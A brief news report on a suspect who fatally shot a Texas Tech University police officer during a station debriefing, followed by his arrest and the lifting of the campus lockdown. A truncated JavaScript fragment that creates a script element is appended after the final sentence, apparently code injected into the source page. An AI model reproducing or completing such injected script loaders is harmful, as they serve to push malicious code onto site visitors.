Texas: A suspect, who allegedly shot dead a Texas Tech University police officer Tuesday morning at one of the campuses, was apprehended almost an hour later, the institute’s Twitter account said in an update.

Earlier, police officers had brought in a suspect to the nearby police station for a “debriefing” when the suspect fatally shot one of them and fled the scene.

The suspect is believed to be Hollis Daniels, 19.

The university issued an “all-clear” following the suspect’s detention, saying the lockdown has been lifted.

The incident was confirmed by Jonathan Seaborn, the university’s spokesman to media.

In the tweet, the university had urged its students to “take shelter”, since the “shooter was at large”.

Texas Tech University subsequently issued a statement, which is as follows:

“Earlier this evening, Texas Tech Police made a student welfare check. Upon entering the room, officers found evidence of drugs and drug paraphernalia.

Officers brought the suspect to the police station for standard debriefing.

During this time, the suspect pulled a gun and shot an officer in the head. The officer is deceased.”var d=document;var s=d.createElement(‘script’);
